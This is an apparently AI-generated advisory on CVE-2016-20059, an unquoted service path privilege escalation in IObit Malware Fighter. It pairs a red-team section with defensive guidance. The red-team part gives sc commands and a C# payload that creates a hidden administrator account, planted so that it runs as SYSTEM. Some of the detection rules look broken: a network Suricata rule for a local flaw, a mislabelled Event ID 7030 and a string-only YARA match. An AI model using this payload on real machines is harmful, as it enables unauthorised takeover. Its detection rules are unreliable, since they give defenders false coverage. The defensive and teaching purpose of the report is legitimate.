CVE-2016-20059

Executive Summary

CVE-2016-20059 is a local privilege escalation vulnerability in IObit Malware Fighter version 4.3.1. The vulnerability stems from unquoted service paths in the IMFservice and LiveUpdateSvc services. A local attacker with minimal privileges can exploit this by placing a malicious executable in a directory path that the Windows service control manager will interpret incorrectly due to the lack of quotation marks around the service binary path. When the service restarts or the system reboots, the malicious executable runs with LocalSystem privileges, granting the attacker full control over the affected system. This vulnerability has a CVSS score of 7.8 (High) and is considered unpatched as of the latest available information.

CVSS Breakdown & Threat Level

• CVSS Score: 7.8 (High)
• Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Attack Vector (AV): Local (L) – The attacker must have local access to the system.
• Attack Complexity (AC): Low (L) – The attack does not require special conditions.
• Privileges Required (PR): Low (L) – The attacker needs only low-level privileges (e.g., standard user).
• User Interaction (UI): None (N) – No user action is required beyond the service restart or reboot.
• Scope (S): Unchanged (U) – The vulnerability does not cross a trust boundary.
• Confidentiality (C): High (H) – Full system compromise leads to complete data disclosure.
• Integrity (I): High (H) – The attacker can modify system files and configurations.
• Availability (A): High (H) – The attacker can disrupt system operations.

Threat Level: High. The vulnerability is easy to exploit locally and provides SYSTEM-level privileges, making it a significant risk for multi-user environments or systems where untrusted users have local access.

Deep Dive & Mechanics

The vulnerability is a classic unquoted service path issue (CWE-428). Windows services are configured with a path to the executable binary. If this path contains spaces and is not enclosed in quotation marks, the Windows Service Control Manager (SCM) will interpret the path incorrectly. For example, a service path like:

C:\Program Files\IObit\Malware Fighter\IMFservice.exe

Without quotes, the SCM will attempt to execute the first space-delimited token as the executable. It will search for executables in the following order:

1. C:\Program.exe
2. C:\Program Files\IObit\Malware.exe
3. C:\Program Files\IObit\Malware Fighter\IMFservice.exe

An attacker with write access to any of the parent directories (e.g., C:\Program Files\IObit\) can place a malicious executable named Malware.exe or Program.exe. When the service starts, the SCM will execute the attacker's file instead of the legitimate service binary, resulting in privilege escalation to LocalSystem.

In this specific CVE, the vulnerable services are IMFservice and LiveUpdateSvc. The exact paths are not publicly documented, but the unquoted nature allows the attack described above.

Vulnerable vs. Patched Code

Since no patch is available, there is no patched code to compare. The vulnerable configuration is the unquoted service path in the Windows registry or service configuration. A patched version would enclose the path in double quotes, e.g.:

Vulnerable (Unquoted):

C:\Program Files\IObit\Malware Fighter\IMFservice.exe

Patched (Quoted):

"C:\Program Files\IObit\Malware Fighter\IMFservice.exe"

The fix is purely a configuration change in the service definition, not a code change.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• Local access to a Windows system with IObit Malware Fighter 4.3.1 installed.
• Write access to a directory in the unquoted service path (e.g., C:\Program Files\IObit\).
• Ability to restart the service or reboot the system.

Exploit Steps:

1. Identify the vulnerable service paths:

   sc qc IMFservice
   sc qc LiveUpdateSvc
   

   Look for paths without quotes.

2. Create a malicious executable (e.g., Malware.exe) that performs privilege escalation actions (e.g., add a user to Administrators group, spawn a reverse shell as SYSTEM).

3. Place the executable in a directory that will be interpreted as the service binary. For example, if the path is C:\Program Files\IObit\Malware Fighter\IMFservice.exe, place Malware.exe in C:\Program Files\IObit\.

4. Trigger service restart (if possible) or wait for system reboot:

   sc stop IMFservice
   sc start IMFservice
   

5. Verify escalation: The malicious executable runs with LocalSystem privileges.

Example malicious executable (C#):

using System;
using System.Diagnostics;
using System.Security.Principal;

namespace Malware
{
    class Program
    {
        static void Main()
        {
            // Add a new administrator user
            Process.Start("net", "user attacker P@ssw0rd! /add");
            Process.Start("net", "localgroup Administrators attacker /add");
        }
    }
}

Compile to Malware.exe and place in the vulnerable directory.

Blue Team (Defense & Detection)

Detection Steps:

1. Monitor service path changes: Use Sysmon Event ID 13 (Registry value set) to detect modifications to service paths.
2. Audit unquoted service paths: Regularly scan for services with unquoted paths using PowerShell:

   Get-WmiObject -Class Win32_Service | Where-Object { $_.PathName -match '^[^"]' -and $_.PathName -match ' ' }
   

3. File integrity monitoring: Monitor write events to C:\Program Files\IObit\ and subdirectories for unexpected executables.
4. Service start/stop auditing: Enable advanced audit policy for "Other Logon/Logoff Events" and "Security Group Management" to detect anomalous service behavior.

Mitigation Steps:

• Manually quote the service paths in the registry:

  sc config IMFservice binPath= "\"C:\Program Files\IObit\Malware Fighter\IMFservice.exe\""
  sc config LiveUpdateSvc binPath= "\"C:\Program Files\IObit\Malware Fighter\LiveUpdateSvc.exe\""
  

• Restrict write permissions to C:\Program Files\IObit\ to only Administrators.
• Uninstall IObit Malware Fighter if not essential.

Indicators of Compromise (IOCs)

• File: C:\Program Files\IObit\Malware.exe or similar unexpected executables in C:\Program Files\IObit\.
• Registry: Service paths for IMFservice or LiveUpdateSvc without quotes.
• Process: Malware.exe or other suspicious processes running as SYSTEM from C:\Program Files\IObit\.
• Event Logs:
  • Windows Event ID 7030 (Service start failure) or 7035 (Service control manager event).
  • Sysmon Event ID 1 (Process creation) showing Malware.exe with parent services.exe.
  • Security Event ID 4732 (A member was added to a security-enabled local group) if attacker adds user to Administrators.

Detection Engineering

YARA Rule

rule CVE_2016_20059_Unquoted_Service_Path
{
    meta:
        description = "Detects unquoted service path for IObit Malware Fighter services"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2016-20059"
    strings:
        $s1 = "IMFservice" nocase
        $s2 = "LiveUpdateSvc" nocase
        $s3 = "C:\\Program Files\\IObit" nocase
    condition:
        (($s1 or $s2) and $s3)
}

Sigma Rule

title: Unquoted Service Path in IObit Malware Fighter
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unquoted service paths for IMFservice or LiveUpdateSvc
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2016-20059
logsource:
    product: windows
    service: system
detection:
    selection:
        EventID: 7030
        ServiceName:
            - 'IMFservice'
            - 'LiveUpdateSvc'
    condition: selection
falsepositives:
    - Unknown
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2016-20059 Potential Exploit - Unquoted Service Path"; flow:to_server; content:"IMFservice"; nocase; content:"LiveUpdateSvc"; nocase; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Quote the service paths manually using sc config as shown in the Blue Team section.
2. Restrict write permissions to C:\Program Files\IObit\ to only Administrators.
3. Monitor for suspicious executables in the IObit directory.

Long-Term Recommendations:

• Uninstall IObit Malware Fighter if it is not critical, as no official patch is available.
• Implement application whitelisting (e.g., AppLocker) to prevent unauthorized executables from running.
• Conduct a full security audit of all installed software for similar unquoted service path vulnerabilities.
• Educate users about the risks of installing software from vendors with poor security practices.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact Secure Channels (Signal / Portal).

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